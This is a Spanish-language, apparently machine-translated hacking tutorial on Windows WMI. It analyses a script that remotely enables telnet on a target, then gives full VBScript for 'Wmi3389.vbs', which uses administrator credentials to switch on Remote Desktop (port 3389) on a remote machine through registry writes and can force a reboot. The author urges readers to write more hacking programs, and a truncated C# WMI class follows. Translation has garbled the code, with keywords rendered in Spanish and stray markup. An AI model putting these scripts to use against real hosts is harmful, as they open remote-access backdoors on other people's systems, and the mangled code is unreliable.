Problemas de configuración
WMI se lanzó originalmente como un componente complementario con Windows NT 4.0 Service Pack 4 en 1998. Es una tecnología de soporte de administración central integrada en los sistemas operativos de las series Windows 2000, Windows XP y Windows Server 2003. Basado en los estándares de la industria supervisados por Distributed Management Task Force (DMTF), WMI es una especificación e infraestructura a través de la cual se puede acceder, configurar, administrar y monitorear casi todos los recursos de Windows. La mayoría de los usuarios están acostumbrados a utilizar numerosas herramientas de administración gráfica para administrar los recursos de Windows. Antes de WMI, estas herramientas accedían y administraban los recursos de Windows a través de las interfaces de programación de aplicaciones (API) Win32. Siempre que esté familiarizado con la programación de sistemas, sabrá lo importantes que son las API. Sin embargo, la mayoría de los lenguajes de secuencia de comandos no pueden llamar directamente a la API de Win32. La aparición de WMI permite a los administradores de sistemas utilizar lenguajes de secuencia de comandos comunes para implementar tareas comunes de administración del sistema de una manera sencilla.
El uso de WMI debe combinarse con scripts como WSH y VBScript. Puede consultar la documentación MSDN de Microsoft para conocer las funciones que se pueden lograr.
Antes de escribir nuestros propios scripts, necesitamos tener un conocimiento básico de la arquitectura de WMI. Como se muestra en la Figura 1: (1.gif)
En la arquitectura WMI, lo que más debemos preocuparnos es el proveedor WMI. El proveedor WMI desempeña el papel de intermediario entre WMI y los recursos administrados. Los proveedores solicitan información de los recursos administrados por WMI en nombre de las aplicaciones y scripts del consumidor, y envían instrucciones a los recursos administrados por WMI. La siguiente es una lista de proveedores integrados de WMI que utilizamos a menudo para la programación WMI como referencia de programación.
1. Proveedor de Active Directory
Archivo de biblioteca de enlaces: dsprov.dll
Espacio de nombres: raíz\directorio\ldap
Función: Mapas Active Directory se opone a WMI.
2. Proveedor de registro de eventos
Archivo de biblioteca de enlaces: ntevt.dll
Espacio de nombres: root\cimv2
Función: Gestión de eventos de Windows log, por ejemplo, leer, realizar copias de seguridad, borrar, copiar, eliminar, monitorear, cambiar el nombre, comprimir, descomprimir y cambiar la configuración del registro de eventos.
3. Proveedor de registro
Archivo de biblioteca de enlaces: stdprov.dll
Espacio de nombres: root\default
Función: leer Obtener, escribir , enumerar, monitorear, crear, eliminar claves y valores de registro.
4.Proveedor Win32
Archivo de biblioteca de enlaces: cimwin32.dll
Espacio de nombres: root\cimv2
Función: proporcionar información sobre la información sobre computadoras, discos, periféricos, archivos, carpetas, sistemas de archivos, componentes de red, sistemas operativos, impresoras, procesos, seguridad, servicios, privilegios, usuarios y grupos de SAM y más recursos.
5. Proveedor de Windows Installer
Archivo de biblioteca de enlaces: msiprov.dll
Espacio de nombres: root\cimv2
Función: proporciona acceso a información del software instalado.
Como se puede ver en lo anterior, las clases (es decir, los proveedores integrados) se agrupan en espacios de nombres en WMI, y el espacio de nombres se puede considerar como un grupo. Por ejemplo, el espacio de nombres root\cimv2 incluye la mayoría de las clases que representan recursos comúnmente asociados con computadoras y sistemas operativos.
Cuando utilice una clase, especifique el espacio de nombres en el que se encuentra la clase. Las clases constan de propiedades y métodos. Estos son dos conceptos importantes en la programación visual. Las propiedades describen el estado de un objeto y los métodos son las operaciones que el objeto puede realizar.
El conocimiento teórico es muy aburrido de aprender. Consolidemos el conocimiento teórico mientras analizamos el código fuente del script del maestro.
Dos: análisis del código principal RTCS.VBS
============================= == ================================================== == =======
A veces es una forma buena y rápida de leer el código fuente de otras personas. Estudiemos detenidamente RTCS.VBS, un script escrito por zzzEVAzzz que puede abrir telnet de forma remota. servicio. .
Este script puede acceder directamente al WMI del objetivo y no depende del ipc$ del objetivo para permitir la apertura/cierre remoto del servicio telnet del objetivo. Para facilitar el aprendizaje de todos, he extraído el código más importante. El análisis específico es el siguiente:
set objlocator=createobject("wbemscripting.swbemlocator")
//Crear objeto WbemScripting.SwbemLocator (interfaz de script).
//Se puede ver que WMI en realidad encapsula el componente Com WbemScripting.SWbemLocator.
set objswbemservices=objlocator.connectserver(ipaddress, "root/default", nombre de usuario, contraseña)
//Solicitud de conexión al servicio de control WMI a través de la función ConnectServer, root/ El valor predeterminado es el espacio de nombres.
set objinstance=objswbemservices.get("stdregprov")
//Crea una instancia para acceder al registro.
set objmethod=objinstance.methods_("SetDWORDvalue")
//Cree un método que pueda cambiar el valor de la clave de registro.
set objinparam=objmethod.inparameters.spawninstance_()
//MethodData.InParameters se utiliza para obtener o establecer los parámetros de entrada del método. Aquí, el método spawninstance se utiliza para crear una subinstancia y luego los valores de los parámetros se pueden asignar a las propiedades de este objeto.
objinparam.hdefkey=amp;h80000002
//hdefkey representa la clave raíz y el valor hexadecimal de la clave raíz es el siguiente:
// HKEY_CLASSES_ROOT (y H80000000)
//HKEY_CURRENT_USER (y H80000001)
//HKEY_LOCAL_MACHINE (y H80000002)
//HKEY_USERS (y H80000003) )
//HKEY_CURRENT_CONFIG (amp; H80000005)
objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"
//ssubkeyname representa la subclave.
objinparam.svaluename="NTLM"
//svaluename representa el nombre del atributo.
objinparam.uvalue=ntlm
//uvalue representa el valor clave.
set objoutparam=objinstance.execmethod_("SetDWORDvalue", objinparam)
// Utilizando el método de ejecución execmethod, el registro realmente se reescribe aquí.
// Lo siguiente es modificar el valor TelnetPort del servicio telnet. El principio es el mismo que el anterior.
objinparam.svaluename="TelnetPort"
objinparam.uvalue=puerto
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
La modificación del registro de telnet está completa. NTLM y TelnetPort se han modificado. ¿Qué pasa si el servicio de telnet de la otra parte no está activado? A continuación, debe iniciar el servicio telnet de acuerdo con la situación específica de telnet y continuar mirando el código.
//Primero consulta el método de inicio de tlntsvr en el host remoto.
set objswbemservices=objlocator.connectserver(ipaddress, "root\cimv2", nombre de usuario, contraseña)
//La clase win32_service está en el espacio de nombres root\cimv2, ¿ha olvidado su ¿role? Echemos un vistazo a los conceptos básicos.
set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")
//Nota: Todas las consultas se implementan mediante enumeración.
para cada objinstance en colinstances
si objinstance.startmode="Disabled" entonces
establezca objmethod=objinstance.methods_("changestartmode")
//Cree el método changestartmode para cambiar el modo de inicio de tlntsvr.
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.startmode="Manual"
//Cambia el modo de inicio a modo manual.
set objoutparam=objinstance.execmethod_("changestartmode", objinparam)
end if
//Inicie nuestro servicio telnet a continuación. La idea de zzzEVAzzz aquí parece un poco incorrecta, y no sé si es su negligencia. Personalmente creo que cuando se inicia el servicio telnet, no se debe utilizar el método stopservice para detener el servicio.
si objinstance.started=true entonces
intstatus=objinstance.stopservice()
//stopservice es el método utilizado para detener el servicio de la instancia de servicio en WMI.
else
intstatus=objinstance.startservice()
finalizar si
siguiente
Tres: Manos- en la instrucción Escribe la versión WMI de ROTS.vbs para habilitar 3389
============================== === ================================================= === ===
Terminemos aquí el análisis del guión de zzzVEAzzz, ¿qué te parece? Muy FÁCIL, ¿verdad? ! Creo que todos deben estar preparados para dar un paso ahora. :) Bien, ¿qué tipo de programa deberíamos escribir juntos? Creo que todo el mundo debe haber usado ROTS.vbs, ¿verdad? ¿Qué cosas? Yo... ¡todos deberían saber que este ROTS tiene sus condiciones de uso! No solo debes tener una cuenta de administrador, sino que también debes permitir conexiones ipc. En esta era de muros en todas partes, ipc ha sido poco práctico durante mucho tiempo y ROTS. .vbs ha sido revisado y eliminado hace mucho tiempo, entonces, ¿qué debo hacer? Por supuesto que lo hice yo mismo. ¿Es posible lograr la misma función de abrir 3389 de forma remota que ROTS sin estar restringido por ipc? La respuesta ha sido sí desde que escribí este artículo, jaja, presume.
Por supuesto, también requerimos que el sistema sea al menos 2000server y superior. Recientemente vi un software que puede abrir 3389 para 2000pro, no le presté mucha atención. No hablaremos de ello aquí por ahora. El principio es igualmente fácil de manejar.
Existe un método para importar el registro para abrir 3389. Creo que la mayoría de los métodos para abrir otro software se logran modificando el registro.
Este método requiere importar el siguiente registro:
Editor del Registro de Windows versión 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
"Enabled" ="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ShutdownWithoutLogon"="0"
[HKEY_LOCAL_MACHINE\ SOFTWARE \Policies\Microsoft\Windows\Installer]
"EnableAdminTSRemote"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
" TSEnabled"=dword：00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
"Start"=dword：00000002
[HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Services\TermService]
"Start"=dword：00000002
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
"Hotkey"= " 1"
No es difícil si conoce el principio. Primero aclaremos nuestras ideas. Nuestra tarea principal es cambiar el valor de la clave en el registro. Primero, cree un objeto WMI, luego conéctese al servidor WMI remoto y finalmente modifique el valor de la clave de registro.
Parte del código principal es el siguiente (consulte el paquete de software adjunto para obtener el código completo y comentarios detallados)
sobre el error, reanudar a continuación
//Prevenir accidentes .
establecer outstream=wscript.stdout
if (lcase(right(wscript.fullname, 11))="wscript.exe") entonces
establecer objShell =wscript.createObject("wscript.shell")
objShell.Run("cmd.exe /k cscript //nologo "amp; chr(34)amp; wscript.scriptfullnameamp; chr(34))
//El parámetro /K después de cmd significa ejecutar el comando especificado por la cadena.
wscript.quit
end if
//Realiza una comprobación sencilla.
if wscript.arguments.countlt; 3 entonces
usage()
wscript.echo "No hay suficientes parámetros".
wscript .quit
end if
//Saca los parámetros y asígnalos a varias variables.
ipaddress=wscript.arguments(0)
nombre de usuario=wscript.arguments(1)
contraseña=wscript.arguments(2)
option=wscript.arguments(3)
usage()
El siguiente es el código principal, que también implementa la función de modificar el registro de forma remota. Daré otra implementación. Aquí el método es fácil de entender según el código anterior, por lo que solo daré una breve explicación. Para obtener más información, consulte la descripción de la clase StdRegProv en la documentación de MSDN.
const HKEY_LOCAL_MACHINE = amp;H80000002
const HKEY_USERS=amp;H80000003
strComputer = dirección IP
//Obtener objeto wmi
p>
Establecer oReg=GetObject("winmgmts：{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default: StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
strValueName = "Enabled"
strValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, strValue
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
strValueName = "Apagar sin inicio de sesión"
strValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, strValue
strKeyPath = "SOFTWARE\Policies\Microsoft\Windows\Installer"
strValueName = "EnableAdminTSRemote"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, strValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "TSEnabled"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, strValue
strKeyPath = "SYSTEM\CurrentControlSet\Services\TermDD"
strValueName = "Inicio"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, strValue
strKeyPath = "SISTEMA \CurrentControlSet \Services\TermService"
strValueName = "Inicio"
strValue=2
oReg.SetDWORDValue HKEY_
LOCAL_MACHINE, strKeyPath, strValueName, strValue
strKeyPath = ".DEFAULT\Keyboard Layout\Toggle"
strValueName = "Hotkey"
strValue=1
oReg.SetDWORDValue HKEY_USERS, strKeyPath, strValueName, strValue
//Reinicia la máquina remota a continuación
if option="/r" entonces
outstream.write "Ahora, reiniciando el objetivo...."
strwmiquery="select * from win32_operatingsystem donde primario='true'"
set colinstances=objswbemservices.execquery(strwmiquery)
para cada objinstance en colinstances
objinstance.win32shutdown(2)
end if
outstreet.write "Ok, reinicié el objetivo ."
//Función con sencillas instrucciones de uso.
uso de función()
wscript.echo string(60, "=")
wscript.echo "Wmi3389 v1.0.0"
wscript.echo "Sin ipc Open 3389, código escrito por pye."
wscript.echo "Bienvenido a visitar www.coon.cn o correo electrónico a grandh4408@yahoo.com.cn"
wscript.echo "Uso:"
wscript.echo "cscript "amp;wscript.scriptfullnameamp;" targetIP nombre de usuario contraseña [/r]"
wscript.echo " /r reiniciar el destino, esto es opcional"
wscript.echo "Utiliza WMI para abrir 3389 del servidor de destino."
wscript.echo string(60,"=")amp ;vbcrlf
función final
Copie el código anterior en el Bloc de notas y guárdelo como Wmi3389.vbs. Luego ejecute en CMD:
cscript Wmi3389.vbs ipaddress contraseña de administrador [/r]
¿Ver si tiene el mismo efecto que ROTS.vbs? Todos, apuraos y ponedlo en práctica.
Cuatro: El último regaño
================================ = =================================================== = =====
Como puedes ver, la función de WMI es muy poderosa. Tenemos que agradecer a Microsoft por esto, nunca nos defraudará. El objeto WMI permite acceso completo a WMI a través de VB, VBA, WSH, VBScript, JScript, ASP u otros entornos que admitan objetos automáticos. Al agregar la biblioteca WMI Scripting V1.1 al sistema de consulta de referencia, los programas Visual Basic o VBA pueden acceder a estos objetos. Las plataformas operativas que admiten programas ActiveX pueden crear estos objetos a través del código de clase de objeto o el nombre de clase. El prefijo de estos objetos es WbemScripting, como WbemScripting.SwbemLocator. Por lo tanto, si está interesado, puede utilizar VB, WSH, VBScript, JScript, ASP, etc. para escribir más programas de hackers que utilicen WMI.
------------------------------------------- ----- ---------
Finalmente, aquí tienes un programa para ti
/* *********** ****** *******************************
* Biblioteca de desarrollo Rainsoft para Microsoft. NET
*
* Copyright (c) 2004, 2005 RainTrail Studio.China
* ¡Todos los derechos reservados!
* Autor: Q.yuhen (qyuhen@hotmail. com)
********************************* ********** ***** */
usando System;
usando System.Management;
usando System.Collections ;
usando System .Collections.Specialized;
usando System.Text;
espacio de nombres Rainsoft.Management
{
#region WMIPath
enumación pública WMIPath
{
// Hardware
Win32_Processor, // procesador de CPU
Win32_PhysicalMemory, // Módulo de memoria física
Win32_Keyboard, // Teclado
Win32_PointingDevice, // Dispositivo de entrada puntual, incluido el mouse.
Win32_FloppyDrive, // Unidad de disquete
Win32_DiskDrive, // Disco duro
Win32_CDROMDrive, // Unidad de CD
Win32_BaseBoard, / / Placa base
Win32_BIOS, // chip BIOS
Win32_ParallelPort, // Puerto paralelo
Win32_SerialPort, // Puerto serie
Win32_SerialPortConfiguration, // Configuración del puerto serie
Win32_SoundDevice, // Configuración multimedia, generalmente se refiere a la tarjeta de sonido.
Win32_SystemSlot, // Ranura para placa base (ISA, PCI y AGP)
Win32_USBController, // Controlador USB
Win32_NetworkAdapter, // Adaptador de red
Win32_NetworkAdapterConfiguration, // Configuración del adaptador de red
Win32_Printer, // Impresora
Win32_PrinterConfiguration, // Configuración de la impresora
Win32_PrintJob, // Tarea de impresora
p>Win32_TCPIPPrinterPort, // Puerto de impresora
Win32_POTSModem, // MODEM
Win32_POTSModemToSerialPort, // Puerto MODEM
Win32_DesktopMonitor, / /Display
Win32_DisplayConfiguration, // Tarjeta gráfica
Win32_DisplayControllerConfiguration, // Configuración de la tarjeta gráfica
Win32_VideoController, // Detalles de la tarjeta gráfica.
Win32_VideoSettings, // Modos de visualización soportados por la tarjeta gráfica.
// Sistema operativo
Win32_TimeZone, // Zona horaria
Win32_SystemDriver, // Controlador
Win32_DiskPartition, // Partición de disco
Win32_LogicalDisk, // Disco lógico
Win32_LogicalDiskToPartition, // La partición donde se encuentra el disco lógico y sus posiciones inicial y final.
Win32_LogicalMemoryConfiguration, // Configuración de la memoria lógica
Win32_PageFile, // Información del archivo de página del sistema
Win32_PageFileSetting, // Configuración del archivo de página
Win32_BootConfiguration, // Configuración de inicio del sistema
Win32_ComputerSystem, // Breve información del equipo
Win32_OperatingSystem, // Información del sistema operativo
Win32_StartupCommand, // Programa de inicio automático del sistema
Win32_Service, // Servicios instalados del sistema
Win32_Group, // Grupo de administración del sistema
Win32_GroupUser, // Cuenta del grupo del sistema
Win32_UserAccount , // Cuenta de usuario
Win32_Process, // Proceso del sistema
Win32_Thread, // Hilo del sistema
Win32_Share, // ***Disfrutar
Win32_NetworkClient, // Cliente de red instalado
Win32_NetworkProtocol, // Protocolo de red instalado
}
#endregion
// / lt;summarygt;
/// Obtener información del sistema
/// lt;/summarygt;
/// lt ;examplegt;
/// lt;codegt;
/// WMI w = nuevo WMI(WMIPath.Win32_NetworkAdapterConfiguration);
/// para ( int i = 0; i lt; w.Count; i )
/// {
/// si ((bool)w[i, "IPEnabled"])
/// {
/// Console.WriteLine("Caption: {0}", w[i, "Caption"]);
/ // Console.WriteLine( "Dirección MAC: {0}", w[i, "Dirección MAC"]
/// }
/// }
// /lt;/codegt;
///lt;/examplegt;
WMI de clase pública sellada
{
mocs privados de ArrayList ;
nombres privados de StringDictionary; // Se utiliza para almacenar nombres de atributos, lo que facilita la consulta del nombre correcto independientemente del caso.
/// lt; resumengt;
/// Número de recopilaciones de información
/// lt;/summarygt; public int Count
{
get { return mocs.Count }
}
/// resumengt; p >
/// Obtiene el valor del atributo especificado. Tenga en cuenta que algunos resultados pueden ser matrices.
///lt;/summarygt;
objeto público this[int index, string propertyName]
{
get
p>
{
try
{
string trueName = nombres[propertyName.Trim()] // Esto puede; obtenerse sin distinguir entre mayúsculas y minúsculas. Nombre de atributo correcto.
Hashtable h = (Hashtable)mocs[index];
return h[trueName]
}
catch
{
return null;
}
}
}
/// lt ;summarygt;
/// Devuelve todos los nombres de atributos.
/// lt;/summarygt;
/// lt;param name="index"gt;lt;/paramgt;
/// lt; devuelvegt; lt; / devuelvegt;
cadena pública[] Nombres de propiedad(int index)
{
intenta
{
Hashtable h = (Hashtable)mocs[index];
cadena[] resultado = nueva cadena[h.Keys.Count];
h.Keys. CopyTo(resultado, 0);
Array.Sort(resultado);
devolver resultado;
}
catch
{
return null;
}
}
/// resumengt;
/// Devuelve información de la prueba.
///lt;/summarygt;
/// lt;returnsgt;lt;/returnsgt;
cadena pública Test()
{
prueba
{
Resultado de StringBuilder = nuevo StringBuilder(1000);
for (int i = 0; i lt; Count; i )
{
int j = 0;
foreach(cadena s en PropertyNames(i))
{
resultado.Append(string.Format("{0}：{1}={2}\n", j, s, this[i, s]));
si (este[i, s] es Array)
{
Array v1 = esto[i, s] como Array;
para ( int x = 0; x lt; v1.Longitud x )
{
resultado.Append("\t" v1.GetValue(x) "\n");
}
}
}
result.Append("======WMI=======\ n");
}
devuelve resultado.ToString();
}
catch
{
cadena de retorno.Empty;
}
}
/// lt; resumengt;
/ //Constructor
/// lt;/summarygt;
/// lt;param name="path"gt;lt;/paramgt;
WMI público (ruta de cadena)
{
names = new StringDictionary();
mocs = new ArrayList();
prueba
{
ManagementClass cimobject = new ManagementClass(ruta);
ManagementObjectCollection moc = cimobject.GetInstances();
bool ok = false;
foreach(ManagementObject mo en moc)
{
Hashtable o = new Hashtable();
mocs.Add ( o);
foreach (PropertyData p en mo.Properties)
{
o.Add(p.Name, p.Value);
p>if (!ok) nombres.Add(p.Name, p.Name);
}
ok = true;
mo .Dispose();
}
moc.D
ispose();
}
catch(Exception e)
{
lanzar nueva excepción(e.Message); p>
}
}
/// lt; resumengt;
/// Constructor
// / lt;/summarygt;
/// lt;param name="path"gt;lt;/paramgt;
WMI público(ruta WMIPath): this(ruta.ToString ( ))